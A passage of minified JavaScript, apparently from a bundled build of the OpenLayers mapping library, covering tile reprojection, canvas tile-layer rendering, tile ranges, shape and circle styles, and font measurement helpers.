m=[(e[0]+i[0])/2,(e[1]+i[1])/2],x=this.transformInv_(m),C=[(n[0]+t[0])/2,(n[1]+t[1])/2],w=this.transformInv_(C);this.addQuad_(t,e,m,C,o,r,x,w,l-1),this.addQuad_(C,m,i,n,w,x,s,a,l-1)}else{var S=[(t[0]+e[0])/2,(t[1]+e[1])/2],E=this.transformInv_(S),T=[(i[0]+n[0])/2,(i[1]+n[1])/2],b=this.transformInv_(T);this.addQuad_(t,S,T,n,o,E,b,a,l-1),this.addQuad_(S,e,i,T,E,r,s,b,l-1)}return}}if(p){if(!this.canWrapXInSource_)return;this.wrapsXInSource_=!0}0==(11&d)&&this.addTriangle_(t,i,n,o,s,a),0==(14&d)&&this.addTriangle_(t,i,e,o,s,r),d&&(0==(13&d)&&this.addTriangle_(e,n,t,r,a,o),0==(7&d)&&this.addTriangle_(e,n,i,r,a,s))}},t.prototype.calculateSourceExtent=function(){var t=[1/0,1/0,-1/0,-1/0];return this.triangles_.forEach((function(e,i,n){var o=e.source;Ce(t,o[0]),Ce(t,o[1]),Ce(t,o[2])})),t},t.prototype.getTriangles=function(){return this.triangles_},t}(),Co={imageSmoothingEnabled:!1,msImageSmoothingEnabled:!1},wo={imageSmoothingEnabled:!0,msImageSmoothingEnabled:!0},So=[];function Eo(t,e,i,n,o){t.beginPath(),t.moveTo(0,0),t.lineTo(e,i),t.lineTo(n,o),t.closePath(),t.save(),t.clip(),t.fillRect(0,0,Math.max(e,n)+1,Math.max(i,o)),t.restore()}function To(t,e){return Math.abs(t[4*e]-210)>2||Math.abs(t[4*e+3]-191.25)>2}function bo(t,e,i,n){var o=ii(i,e,t),r=qe(e,n,i),s=e.getMetersPerUnit();void 0!==s&&(r*=s);var a=t.getMetersPerUnit();void 0!==a&&(r/=a);var l=t.getExtent();if(!l||fe(l,o)){var h=qe(t,r,o)/r;isFinite(h)&&h>0&&(r/=h)}return r}var Oo=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Ro=function(t){function e(e,i,n,o,r,s,a,l,h,u,c,p){var f=t.call(this,r,0,{interpolate:!!p})||this;f.renderEdges_=void 0!==c&&c,f.pixelRatio_=a,f.gutter_=l,f.canvas_=null,f.sourceTileGrid_=i,f.targetTileGrid_=o,f.wrappedTileCoord_=s||r,f.sourceTiles_=[],f.sourcesListenerKeys_=null,f.sourceZ_=0;var d=o.getTileCoordExtent(f.wrappedTileCoord_),g=f.targetTileGrid_.getExtent(),_=f.sourceTileGrid_.getExtent(),y=g?Le(d,g):d;if(0===Te(y))return f.state=4,f;var v=e.getExtent();v&&(_=_?Le(_,v):v);var m=o.getResolution(f.wrappedTileCoord_[0]),x=function(t,e,i,n){var o=Re(i),r=bo(t,e,o,n);return(!isFinite(r)||r<=0)&&Ee(i,(function(i){return r=bo(t,e,i,n),isFinite(r)&&r>0})),r}(e,n,y,m);if(!isFinite(x)||x<=0)return f.state=4,f;var C=void 0!==u?u:.5;if(f.triangulation_=new xo(e,n,y,_,x*C,m),0===f.triangulation_.getTriangles().length)return f.state=4,f;f.sourceZ_=i.getZForResolution(x);var w=f.triangulation_.calculateSourceExtent();if(_&&(e.canWrapX()?(w[1]=Ct(w[1],_[1],_[3]),w[3]=Ct(w[3],_[1],_[3])):w=Le(w,_)),Te(w)){for(var S=i.getTileRangeForExtentAndZ(w,f.sourceZ_),E=S.minX;E<=S.maxX;E++)for(var T=S.minY;T<=S.maxY;T++){var b=h(f.sourceZ_,E,T,a);b&&f.sourceTiles_.push(b)}0===f.sourceTiles_.length&&(f.state=4)}else f.state=4;return f}return Oo(e,t),e.prototype.getImage=function(){return this.canvas_},e.prototype.reproject_=function(){var t=[];if(this.sourceTiles_.forEach(function(e,i,n){e&&2==e.getState()&&t.push({extent:this.sourceTileGrid_.getTileCoordExtent(e.tileCoord),image:e.getImage()})}.bind(this)),this.sourceTiles_.length=0,0===t.length)this.state=3;else{var e=this.wrappedTileCoord_[0],i=this.targetTileGrid_.getTileSize(e),n="number"==typeof i?i:i[0],o="number"==typeof i?i:i[1],r=this.targetTileGrid_.getResolution(e),s=this.sourceTileGrid_.getResolution(this.sourceZ_),a=this.targetTileGrid_.getTileCoordExtent(this.wrappedTileCoord_);this.canvas_=function(t,e,i,n,o,r,s,a,l,h,u,c){var p=q(Math.round(i*t),Math.round(i*e),So);if(c||f(p,Co),0===l.length)return p.canvas;function d(t){return Math.round(t*i)/i}p.scale(i,i),p.globalCompositeOperation="lighter";var g=[1/0,1/0,-1/0,-1/0];l.forEach((function(t,e,i){var n,o;n=g,(o=t.extent)[0]<n[0]&&(n[0]=o[0]),o[2]>n[2]&&(n[2]=o[2]),o[1]<n[1]&&(n[1]=o[1]),o[3]>n[3]&&(n[3]=o[3])}));var _=ke(g),y=Fe(g),v=q(Math.round(i*_/n),Math.round(i*y/n));c||f(v,Co);var m=i/n;l.forEach((function(t,e,i){var n=t.extent[0]-g[0],o=-(t.extent[3]-g[3]),r=ke(t.extent),s=Fe(t.extent);t.image.width>0&&t.image.height>0&&v.drawImage(t.image,h,h,t.image.width-2*h,t.image.height-2*h,n*m,o*m,r*m,s*m)}));var x=Ae(s);return a.getTriangles().forEach((function(t,e,o){var s=t.source,a=t.target,l=s[0][0],h=s[0][1],u=s[1][0],f=s[1][1],_=s[2][0],y=s[2][1],m=d((a[0][0]-x[0])/r),C=d(-(a[0][1]-x[1])/r),w=d((a[1][0]-x[0])/r),S=d(-(a[1][1]-x[1])/r),E=d((a[2][0]-x[0])/r),T=d(-(a[2][1]-x[1])/r),b=l,O=h;l=0,h=0;var R=function(t){for(var e=t.length,i=0;i<e;i++){for(var n=i,o=Math.abs(t[i][i]),r=i+1;r<e;r++){var s=Math.abs(t[r][i]);s>o&&(o=s,n=r)}if(0===o)return null;var a=t[n];t[n]=t[i],t[i]=a;for(var l=i+1;l<e;l++)for(var h=-t[l][i]/t[i][i],u=i;u<e+1;u++)i==u?t[l][u]=0:t[l][u]+=h*t[i][u]}for(var c=new Array(e),p=e-1;p>=0;p--){c[p]=t[p][e]/t[p][p];for(var f=p-1;f>=0;f--)t[f][e]-=t[f][p]*c[p]}return c}([[u-=b,f-=O,0,0,w-m],[_-=b,y-=O,0,0,E-m],[0,0,u,f,S-C],[0,0,_,y,T-C]]);if(R){if(p.save(),p.beginPath(),function(){if(void 0===yo){var t=document.createElement("canvas").getContext("2d");t.globalCompositeOperation="lighter",t.fillStyle="rgba(210, 0, 0, 0.75)",Eo(t,4,5,4,0),Eo(t,4,5,0,5);var e=t.getImageData(0,0,3,3).data;yo=To(e,0)||To(e,4)||To(e,8)}return yo}()||!c){p.moveTo(w,S);for(var P=m-w,I=C-S,M=0;M<4;M++)p.lineTo(w+d((M+1)*P/4),S+d(M*I/3)),3!=M&&p.lineTo(w+d((M+1)*P/4),S+d((M+1)*I/3));p.lineTo(E,T)}else p.moveTo(w,S),p.lineTo(m,C),p.lineTo(E,T);p.clip(),p.transform(R[0],R[2],R[1],R[3],m,C),p.translate(g[0]-b,g[3]-O),p.scale(n/i,-n/i),p.drawImage(v.canvas,0,0),p.restore()}})),u&&(p.save(),p.globalCompositeOperation="source-over",p.strokeStyle="black",p.lineWidth=1,a.getTriangles().forEach((function(t,e,i){var n=t.target,o=(n[0][0]-x[0])/r,s=-(n[0][1]-x[1])/r,a=(n[1][0]-x[0])/r,l=-(n[1][1]-x[1])/r,h=(n[2][0]-x[0])/r,u=-(n[2][1]-x[1])/r;p.beginPath(),p.moveTo(a,l),p.lineTo(o,s),p.lineTo(h,u),p.closePath(),p.stroke()})),p.restore()),p.canvas}(n,o,this.pixelRatio_,s,this.sourceTileGrid_.getExtent(),r,a,this.triangulation_,t,this.gutter_,this.renderEdges_,this.interpolate),this.state=2}this.changed()},e.prototype.load=function(){if(0==this.state){this.state=1,this.changed();var t=0;this.sourcesListenerKeys_=[],this.sourceTiles_.forEach(function(e,i,n){var o=e.getState();if(0==o||1==o){t++;var r=O(e,x,(function(i){var n=e.getState();2!=n&&3!=n&&4!=n||(P(r),0==--t&&(this.unlistenSources_(),this.reproject_()))}),this);this.sourcesListenerKeys_.push(r)}}.bind(this)),0===t?setTimeout(this.reproject_.bind(this),0):this.sourceTiles_.forEach((function(t,e,i){0==t.getState()&&t.load()}))}},e.prototype.unlistenSources_=function(){this.sourcesListenerKeys_.forEach(P),this.sourcesListenerKeys_=null},e.prototype.release=function(){this.canvas_&&(J(this.canvas_.getContext("2d")),So.push(this.canvas_),this.canvas_=null),t.prototype.release.call(this)},e}(co),Po=function(){function t(t,e,i,n){this.minX=t,this.maxX=e,this.minY=i,this.maxY=n}return t.prototype.contains=function(t){return this.containsXY(t[1],t[2])},t.prototype.containsTileRange=function(t){return this.minX<=t.minX&&t.maxX<=this.maxX&&this.minY<=t.minY&&t.maxY<=this.maxY},t.prototype.containsXY=function(t,e){return this.minX<=t&&t<=this.maxX&&this.minY<=e&&e<=this.maxY},t.prototype.equals=function(t){return this.minX==t.minX&&this.minY==t.minY&&this.maxX==t.maxX&&this.maxY==t.maxY},t.prototype.extend=function(t){t.minX<this.minX&&(this.minX=t.minX),t.maxX>this.maxX&&(this.maxX=t.maxX),t.minY<this.minY&&(this.minY=t.minY),t.maxY>this.maxY&&(this.maxY=t.maxY)},t.prototype.getHeight=function(){return this.maxY-this.minY+1},t.prototype.getSize=function(){return[this.getWidth(),this.getHeight()]},t.prototype.getWidth=function(){return this.maxX-this.minX+1},t.prototype.intersects=function(t){return this.minX<=t.maxX&&this.maxX>=t.minX&&this.minY<=t.maxY&&this.maxY>=t.minY},t}();function Io(t,e,i,n,o){return void 0!==o?(o.minX=t,o.maxX=e,o.minY=i,o.maxY=n,o):new Po(t,e,i,n)}var Mo=Po;function Fo(t){return t[0]>0&&t[1]>0}function Lo(t,e){return Array.isArray(t)?t:(void 0===e?e=[t,t]:(e[0]=t,e[1]=t),e)}var Ao=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Do=function(t){function e(e){var i=t.call(this,e)||this;return i.extentChanged=!0,i.renderedExtent_=null,i.renderedPixelRatio,i.renderedProjection=null,i.renderedRevision,i.renderedTiles=[],i.newTiles_=!1,i.tmpExtent=[1/0,1/0,-1/0,-1/0],i.tmpTileRange_=new Mo(0,0,0,0),i}return Ao(e,t),e.prototype.isDrawableTile=function(t){var e=this.getLayer(),i=t.getState(),n=e.getUseInterimTilesOnError();return 2==i||4==i||3==i&&!n},e.prototype.getTile=function(t,e,i,n){var o=n.pixelRatio,r=n.viewState.projection,s=this.getLayer(),a=s.getSource().getTile(t,e,i,o,r);return 3==a.getState()&&(s.getUseInterimTilesOnError()?s.getPreload()>0&&(this.newTiles_=!0):a.setState(2)),this.isDrawableTile(a)||(a=a.getInterimTile()),a},e.prototype.getData=function(t){var e=this.frameState;if(!e)return null;var i=this.getLayer(),n=Pi(e.pixelToCoordinateTransform,t.slice()),o=i.getExtent();if(o&&!fe(o,n))return null;for(var r=e.pixelRatio,s=e.viewState.projection,a=e.viewState,l=i.getRenderSource(),h=l.getTileGridForProjection(a.projection),u=l.getTilePixelRatio(e.pixelRatio),c=h.getZForResolution(a.resolution);c>=h.getMinZoom();--c){var p=h.getTileCoordForCoordAndZ(n,c),f=l.getTile(c,p[1],p[2],r,s);if(!(f instanceof mo||f instanceof Ro))return null;if(2===f.getState()){var d=h.getOrigin(c),g=Lo(h.getTileSize(c)),_=h.getResolution(c),y=Math.floor(u*((n[0]-d[0])/_-p[1]*g[0])),v=Math.floor(u*((d[1]-n[1])/_-p[2]*g[1])),m=Math.round(u*l.getGutterForProjection(a.projection));return this.getImageData(f.getImage(),y+m,v+m)}}return null},e.prototype.loadedTileCallback=function(e,i,n){return!!this.isDrawableTile(n)&&t.prototype.loadedTileCallback.call(this,e,i,n)},e.prototype.prepareFrame=function(t){return!!this.getLayer().getSource()},e.prototype.renderFrame=function(t,e){var i=t.layerStatesArray[t.layerIndex],n=t.viewState,o=n.projection,s=n.resolution,a=n.center,l=n.rotation,h=t.pixelRatio,u=this.getLayer(),c=u.getSource(),p=c.getRevision(),d=c.getTileGridForProjection(o),g=d.getZForResolution(s,c.zDirection),_=d.getResolution(g),y=t.extent,v=t.viewState.resolution,m=c.getTilePixelRatio(h),x=Math.round(ke(y)/v*h),C=Math.round(Fe(y)/v*h),w=i.extent&&pi(i.extent);w&&(y=Le(y,pi(i.extent)));var S=_*x/2/m,E=_*C/2/m,T=[a[0]-S,a[1]-E,a[0]+S,a[1]+E],b=d.getTileRangeForExtentAndZ(y,g),O={};O[g]={};var R=this.createLoadedTileFinder(c,o,O),P=this.tmpExtent,I=this.tmpTileRange_;this.newTiles_=!1;for(var M=l?Me(n.center,v,l,t.size):void 0,F=b.minX;F<=b.maxX;++F)for(var L=b.minY;L<=b.maxY;++L)if(!l||d.tileCoordIntersectsViewport([g,F,L],M)){var A=this.getTile(g,F,L,t);if(this.isDrawableTile(A)){var k=D(this);if(2==A.getState()&&(O[g][A.tileCoord.toString()]=A,(rt=A.inTransition(k))&&1!==i.opacity&&(A.endTransition(k),rt=!1),this.newTiles_||!rt&&-1!==this.renderedTiles.indexOf(A)||(this.newTiles_=!0)),1===A.getAlpha(k,t.time))continue}var j=d.getTileCoordChildTileRange(A.tileCoord,I,P),G=!1;j&&(G=R(g+1,j)),G||d.forEachTileCoordParentTileRange(A.tileCoord,R,I,P)}var z=_/s*h/m;Ii(this.pixelTransform,t.size[0]/2,t.size[1]/2,1/h,1/h,l,-x/2,-C/2);var W=Fi(this.pixelTransform);this.useContainer(e,W,this.getBackground(t));var X=this.context,N=X.canvas;Mi(this.inversePixelTransform,this.pixelTransform),Ii(this.tempTransform,x/2,C/2,z,z,0,-x/2,-C/2),N.width!=x||N.height!=C?(N.width=x,N.height=C):this.containerReused||X.clearRect(0,0,x,C),w&&this.clipUnrotated(X,t,w),c.getInterpolate()||f(X,Co),this.preRender(X,t),this.renderedTiles.length=0;var Y,B,K,Z=Object.keys(O).map(Number);Z.sort(r),1!==i.opacity||this.containerReused&&!c.getOpaque(t.viewState.projection)?(Y=[],B=[]):Z=Z.reverse();for(var V=Z.length-1;V>=0;--V){var U=Z[V],H=c.getTilePixelSize(U,h,o),q=d.getResolution(U)/_,J=H[0]*q*z,Q=H[1]*q*z,$=d.getTileCoordForCoordAndZ(Ae(T),U),tt=d.getTileCoordExtent($),et=Pi(this.tempTransform,[m*(tt[0]-T[0])/_,m*(T[3]-tt[3])/_]),it=m*c.getGutterForProjection(o),nt=O[U];for(var ot in nt){var rt,st=(A=nt[ot]).tileCoord,at=$[1]-st[1],lt=Math.round(et[0]-(at-1)*J),ht=$[2]-st[2],ut=Math.round(et[1]-(ht-1)*Q),ct=lt-(F=Math.round(et[0]-at*J)),pt=ut-(L=Math.round(et[1]-ht*Q)),ft=g===U,dt=!1;if(!(rt=ft&&1!==A.getAlpha(D(this),t.time)))if(Y){K=[F,L,F+ct,L,F+ct,L+pt,F,L+pt];for(var gt=0,_t=Y.length;gt<_t;++gt)if(g!==U&&U<B[gt]){var yt=Y[gt];je([F,L,F+ct,L+pt],[yt[0],yt[3],yt[4],yt[7]])&&(dt||(X.save(),dt=!0),X.beginPath(),X.moveTo(K[0],K[1]),X.lineTo(K[2],K[3]),X.lineTo(K[4],K[5]),X.lineTo(K[6],K[7]),X.moveTo(yt[6],yt[7]),X.lineTo(yt[4],yt[5]),X.lineTo(yt[2],yt[3]),X.lineTo(yt[0],yt[1]),X.clip())}Y.push(K),B.push(U)}else X.clearRect(F,L,ct,pt);this.drawTileImage(A,t,F,L,ct,pt,it,ft),Y&&!rt?(dt&&X.restore(),this.renderedTiles.unshift(A)):this.renderedTiles.push(A),this.updateUsedTiles(t.usedTiles,c,A)}}return this.renderedRevision=p,this.renderedResolution=_,this.extentChanged=!this.renderedExtent_||!xe(this.renderedExtent_,T),this.renderedExtent_=T,this.renderedPixelRatio=h,this.renderedProjection=o,this.manageTilePyramid(t,c,d,h,o,y,g,u.getPreload()),this.scheduleExpireCache(t,c),this.postRender(X,t),i.extent&&X.restore(),f(X,wo),W!==N.style.transform&&(N.style.transform=W),this.container},e.prototype.drawTileImage=function(t,e,i,n,o,r,s,a){var l=this.getTileImage(t);if(l){var h=D(this),u=e.layerStatesArray[e.layerIndex],c=u.opacity*(a?t.getAlpha(h,e.time):1),p=c!==this.context.globalAlpha;p&&(this.context.save(),this.context.globalAlpha=c),this.context.drawImage(l,s,s,l.width-2*s,l.height-2*s,i,n,o,r),p&&this.context.restore(),c!==u.opacity?e.animate=!0:a&&t.endTransition(h)}},e.prototype.getImage=function(){var t=this.context;return t?t.canvas:null},e.prototype.getTileImage=function(t){return t.getImage()},e.prototype.scheduleExpireCache=function(t,e){if(e.canExpireCache()){var i=function(t,e,i){var n=D(t);n in i.usedTiles&&t.expireCache(i.viewState.projection,i.usedTiles[n])}.bind(null,e);t.postRenderFunctions.push(i)}},e.prototype.updateUsedTiles=function(t,e,i){var n=D(e);n in t||(t[n]={}),t[n][i.getKey()]=!0},e.prototype.manageTilePyramid=function(t,e,i,n,o,r,s,a,l){var h=D(e);h in t.wantedTiles||(t.wantedTiles[h]={});var u,c,p,f,d,g,_=t.wantedTiles[h],y=t.tileQueue,v=i.getMinZoom(),m=t.viewState.rotation,x=m?Me(t.viewState.center,t.viewState.resolution,m,t.size):void 0,C=0;for(g=v;g<=s;++g)for(c=i.getTileRangeForExtentAndZ(r,g,c),p=i.getResolution(g),f=c.minX;f<=c.maxX;++f)for(d=c.minY;d<=c.maxY;++d)m&&!i.tileCoordIntersectsViewport([g,f,d],x)||(s-g<=a?(++C,0==(u=e.getTile(g,f,d,n,o)).getState()&&(_[u.getKey()]=!0,y.isKeyQueued(u.getKey())||y.enqueue([u,h,i.getTileCoordCenter(u.tileCoord),p])),void 0!==l&&l(u)):e.useTile(g,f,d,o));e.updateCacheSize(C,o)},e}(ho),ko=Do,jo=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),Go=function(t){function e(e){return t.call(this,e)||this}return jo(e,t),e.prototype.createRenderer=function(){return new ko(this)},e}(Vn),zo=i(582),Wo=function(){function t(t){this.opacity_=t.opacity,this.rotateWithView_=t.rotateWithView,this.rotation_=t.rotation,this.scale_=t.scale,this.scaleArray_=Lo(t.scale),this.displacement_=t.displacement,this.declutterMode_=t.declutterMode}return t.prototype.clone=function(){var e=this.getScale();return new t({opacity:this.getOpacity(),scale:Array.isArray(e)?e.slice():e,rotation:this.getRotation(),rotateWithView:this.getRotateWithView(),displacement:this.getDisplacement().slice(),declutterMode:this.getDeclutterMode()})},t.prototype.getOpacity=function(){return this.opacity_},t.prototype.getRotateWithView=function(){return this.rotateWithView_},t.prototype.getRotation=function(){return this.rotation_},t.prototype.getScale=function(){return this.scale_},t.prototype.getScaleArray=function(){return this.scaleArray_},t.prototype.getDisplacement=function(){return this.displacement_},t.prototype.getDeclutterMode=function(){return this.declutterMode_},t.prototype.getAnchor=function(){return L()},t.prototype.getImage=function(t){return L()},t.prototype.getHitDetectionImage=function(){return L()},t.prototype.getPixelRatio=function(t){return 1},t.prototype.getImageState=function(){return L()},t.prototype.getImageSize=function(){return L()},t.prototype.getOrigin=function(){return L()},t.prototype.getSize=function(){return L()},t.prototype.setDisplacement=function(t){this.displacement_=t},t.prototype.setOpacity=function(t){this.opacity_=t},t.prototype.setRotateWithView=function(t){this.rotateWithView_=t},t.prototype.setRotation=function(t){this.rotation_=t},t.prototype.setScale=function(t){this.scale_=t,this.scaleArray_=Lo(t)},t.prototype.listenImageChange=function(t){L()},t.prototype.load=function(){L()},t.prototype.unlistenImageChange=function(t){L()},t}();function Xo(t){return Array.isArray(t)?oo(t):t}var No="10px sans-serif",Yo="#000",Bo="round",Ko=[],Zo="round",Vo="#000",Uo="center",Ho="middle",qo=[0,0,0,0],Jo=new G;(new m).setSize=function(){console.warn("labelCache is deprecated.")};var Qo,$o,tr=null,er={},ir=function(){var t,e,i="32px ",n=["monospace","serif"],o=n.length,r="wmytzilWMYTZIL@#/&?$%10";function s(t,s,a){for(var l=!0,h=0;h<o;++h){var u=n[h];if(e=rr(t+" "+s+" "+i+u,r),a!=u){var c=rr(t+" "+s+" "+i+a+","+u,r);l=l&&c!=e}}return!!l}function a(){for(var e=!0,i=Jo.getKeys(),n=0,o=i.length;n<o;++n){var r=i[n];Jo.get(r)<100&&(s.apply(this,r.split("\n"))?(d(er),tr=null,Qo=void 0,Jo.set(r,100)):(Jo.set(r,Jo.get(r)+1,!0),e=!1))}e&&(clearInterval(t),t=void 0)}return function(e){var i=lt(e);if(i)for(var n=i.families,o=0,r=n.length;o<r;++o){var l=n[o],h=i.style+"\n"+i.weight+"\n"+l;void 0===Jo.get(h)&&(Jo.set(h,100,!0),s(i.style,i.weight,l)||(Jo.set(h,0,!0),void 0===t&&(t=setInterval(a,32))))}}}(),nr=function(t){var e=er[t];if(null==e){if(V){var i=lt(t),n=or(t,"Žg");e=(isNaN(Number(i.lineHeight))?1.2:Number(i.lineHeight))*(n.actualBoundingBoxAscent+n.actualBoundingBoxDescent)}else $o||(($o=document.createElement("div")).innerHTML="M",$o.style.minHeight="0",$o.style.maxHeight="none",$o.style.height="auto",$o.style.padding="0",$o.style.border="none",$o.style.position="absolute",$o.style.display="block",$o.style.left="-99999px"),$o.style.font=t,document.body.appendChild($o),e=$o.offsetHeight,document.body.removeChild($o);er[t]=e}return e};function or(t,e){return tr||(tr=q(1,1)),t!=Qo&&(tr.font=t,Qo=tr.font),tr.measureText(e)}function rr(t,e){return or(t,e).width}function sr(t,e,i){if(e in i)return i[e];var n=e.split("\n").reduce((function(e,i){return Math.max(e,rr(t,i))}),0);return i[e]=n,n}var ar=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),lr=function(t){function e(e){var i=this,n=void 0!==e.rotateWithView&&e.rotateWithView;return(i=t.call(this,{opacity:1,rotateWithView:n,rotation:void 0!==e.rotation?e.rotation:0,scale:void 0!==e.scale?e.scale:1,displacement:void 0!==e.displacement?e.displacement:[0,0],declutterMode:e.declutterMode})||this).canvas_=void 0,i.hitDetectionCanvas_=null,i.fill_=void 0!==e.fill?e.fill:null,i.origin_=[0,0],i.points_=e.points,i.radius_=void 0!==e.radius?e.radius:e.radius1,i.radius2_=e.radius2,i.angle_=void 0!==e.angle?e.angle:0,i.stroke_=void 0!==e.stroke?e.stroke:null,i.size_=null,i.renderOptions_=null,i.render(),i}return ar(e,t),e.prototype.clone=function(){var t=this.getScale(),i=new e({fill:this.getFill()?this.getFill().clone():void 0,points:this.getPoints(),radius:this.getRadius(),radius2:this.getRadius2(),angle:this.getAngle(),stroke:this.getStroke()?this.getStroke().clone():void 0,rotation:this.getRotation(),rotateWithView:this.getRotateWithView(),scale:Array.isArray(t)?t.slice():t,displacement:this.getDisplacement().slice(),declutterMode:this.getDeclutterMode()});return i.setOpacity(this.getOpacity()),i},e.prototype.getAnchor=function(){var t=this.size_;if(!t)return null;var e=this.getDisplacement();return[t[0]/2-e[0],t[1]/2+e[1]]},e.prototype.getAngle=function(){return this.angle_},e.prototype.getFill=function(){return this.fill_},e.prototype.setFill=function(t){this.fill_=t,this.render()},e.prototype.getHitDetectionImage=function(){return this.hitDetectionCanvas_||this.createHitDetectionCanvas_(this.renderOptions_),this.hitDetectionCanvas_},e.prototype.getImage=function(t){var e=this.canvas_[t];if(!e){var i=this.renderOptions_,n=q(i.size*t,i.size*t);this.draw_(i,n,t),e=n.canvas,this.canvas_[t]=e}return e},e.prototype.getPixelRatio=function(t){return t},e.prototype.getImageSize=function(){return this.size_},e.prototype.getImageState=function(){return 2},e.prototype.getOrigin=function(){return this.origin_},e.prototype.getPoints=function(){return this.points_},e.prototype.getRadius=function(){return this.radius_},e.prototype.getRadius2=function(){return this.radius2_},e.prototype.getSize=function(){return this.size_},e.prototype.getStroke=function(){return this.stroke_},e.prototype.setStroke=function(t){this.stroke_=t,this.render()},e.prototype.listenImageChange=function(t){},e.prototype.load=function(){},e.prototype.unlistenImageChange=function(t){},e.prototype.calculateLineJoinSize_=function(t,e,i){if(0===e||this.points_===1/0||"bevel"!==t&&"miter"!==t)return e;var n=this.radius_,o=void 0===this.radius2_?n:this.radius2_;if(n<o){var r=n;n=o,o=r}var s=void 0===this.radius2_?this.points_:2*this.points_,a=2*Math.PI/s,l=o*Math.sin(a),h=n-Math.sqrt(o*o-l*l),u=Math.sqrt(l*l+h*h),c=u/l;if("miter"===t&&c<=i)return c*e;var p=e/2/c,f=e/2*(h/u),d=Math.sqrt((n+p)*(n+p)+f*f)-n;if(void 0===this.radius2_||"bevel"===t)return 2*d;var g=n*Math.sin(a),_=o-Math.sqrt(n*n-g*g),y=Math.sqrt(g*g+_*_)/g;if(y<=i){var v=y*e/2-o-n;return 2*Math.max(d,v)}return 2*d},e.prototype.createRenderOptions=function(){var t,e=Zo,i=0,n=null,o=0,r=0;this.stroke_&&(null===(t=this.stroke_.getColor())&&(t=Vo),t=Xo(t),void 0===(r=this.stroke_.getWidth())&&(r=1),n=this.stroke_.getLineDash(),o=this.stroke_.getLineDashOffset(),void 0===(e=this.stroke_.getLineJoin())&&(e=Zo),void 0===(i=this.stroke_.getMiterLimit())&&(i=10));var s=this.calculateLineJoinSize_(e,r,i),a=Math.max(this.radius_,this.radius2_||0);return{strokeStyle:t,strokeWidth:r,size:Math.ceil(2*a+s),lineDash:n,lineDashOffset:o,lineJoin:e,miterLimit:i}},e.prototype.render=function(){this.renderOptions_=this.createRenderOptions();var t=this.renderOptions_.size;this.canvas_={},this.size_=[t,t]},e.prototype.draw_=function(t,e,i){if(e.scale(i,i),e.translate(t.size/2,t.size/2),this.createPath_(e),this.fill_){var n=this.fill_.getColor();null===n&&(n=Yo),e.fillStyle=Xo(n),e.fill()}this.stroke_&&(e.strokeStyle=t.strokeStyle,e.lineWidth=t.strokeWidth,e.setLineDash&&t.lineDash&&(e.setLineDash(t.lineDash),e.lineDashOffset=t.lineDashOffset),e.lineJoin=t.lineJoin,e.miterLimit=t.miterLimit,e.stroke())},e.prototype.createHitDetectionCanvas_=function(t){if(this.fill_){var e=this.fill_.getColor(),i=0;if("string"==typeof e&&(e=io(e)),null===e?i=1:Array.isArray(e)&&(i=4===e.length?e[3]:1),0===i){var n=q(t.size,t.size);this.hitDetectionCanvas_=n.canvas,this.drawHitDetectionCanvas_(t,n)}}this.hitDetectionCanvas_||(this.hitDetectionCanvas_=this.getImage(1))},e.prototype.createPath_=function(t){var e=this.points_,i=this.radius_;if(e===1/0)t.arc(0,0,i,0,2*Math.PI);else{var n=void 0===this.radius2_?i:this.radius2_;void 0!==this.radius2_&&(e*=2);for(var o=this.angle_-Math.PI/2,r=2*Math.PI/e,s=0;s<e;s++){var a=o+s*r,l=s%2==0?i:n;t.lineTo(l*Math.cos(a),l*Math.sin(a))}t.closePath()}},e.prototype.drawHitDetectionCanvas_=function(t,e){e.translate(t.size/2,t.size/2),this.createPath_(e),e.fillStyle=Yo,e.fill(),this.stroke_&&(e.strokeStyle=t.strokeStyle,e.lineWidth=t.strokeWidth,t.lineDash&&(e.setLineDash(t.lineDash),e.lineDashOffset=t.lineDashOffset),e.lineJoin=t.lineJoin,e.miterLimit=t.miterLimit,e.stroke())},e}(Wo),hr=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ur=function(t){function e(e){var i=e||{};return t.call(this,{points:1/0,fill:i.fill,radius:i.radius,stroke:i.stroke,scale:void 0!==i.scale?i.scale:1,rotation:void 0!==i.rotation?i.rotation:0,rotateWithView:void 0!==i.rotateWithView&&i.rotateWithView,displacement:void 0!==i.displacement?i.displacement:[0,0],declutterMode:i.declutterMode})||this}return hr(e,t),e.prototype.clone=function(){var t=this.getScale(),i=new e({fill:this.getFill()?this.getFill().clone():void 0,stroke:this.getStroke()?this.getStroke().clone():void 